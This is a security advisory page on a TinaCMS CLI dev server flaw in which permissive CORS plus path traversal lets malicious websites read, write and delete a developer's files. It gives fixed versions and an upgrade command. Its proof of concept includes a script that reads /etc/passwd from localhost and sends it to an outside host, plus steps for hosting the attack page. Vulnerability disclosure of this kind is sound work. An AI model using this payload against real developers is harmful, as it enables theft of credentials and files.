Loading advisory.
Loading advisory.
TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS
The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: ) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack.
Published 2026-03-12 16:48 UTC · Modified 2026-03-14 07:11 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| @tinacms/cli | npm | < 2.1.8 | 2.1.8 | npm install @tinacms/cli@2.1.8 |
The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.
The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:
packages/@tinacms/cli/src/server/server.ts:
app.use(cors());packages/@tinacms/cli/src/next/vite/plugins.ts:
server.middlewares.use(cors());When combined with the path traversal vulnerability, this creates a complete attack chain.
Developer runs tinacms dev (default port 4001)
Developer visits attacker's website while TinaCMS is running
No other conditions required - the dev server doesn't need to be:
Exposed to the internet
Bound to 0.0.0.0
Accessible outside localhost
Developer starts TinaCMS: tinacms dev
Developer browses the web (checking email, social media, etc.)
Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
Attacker's JavaScript exploits CORS + path traversal to read sensitive files
Files are exfiltrated to attacker's server
<script>
fetch('http://localhost:4001/../../../etc/passwd')
.then(r => r.text())
.then(data => {
// Exfil via GET
const img = new Image();
img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
});
</script>Step 1: Start TinaCMS dev server
tinacms dev
# Server running on http://localhost:4001Step 2: Host evil.html on attacker server
python3 -m http.server 8000Step 3: Developer visits http://attacker-server:8000/evil.html
Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />
Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:
Enumerate the developer's filesystem directory listings via /media/list/ with path traversal reveal file and folder names
across the entire filesystem
Discover sensitive files locate .env, .git/config, SSH keys, cloud credentials, database configs
Write arbitrary files via /media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts
Delete arbitrary files via /media/ DELETE with path traversal
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.006 on 2026-11-24 to 0.007 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.006 | first score | v2026.06.15 |
| 2026-11-26 | 0.007 | 0.006 | v2026.06.15 |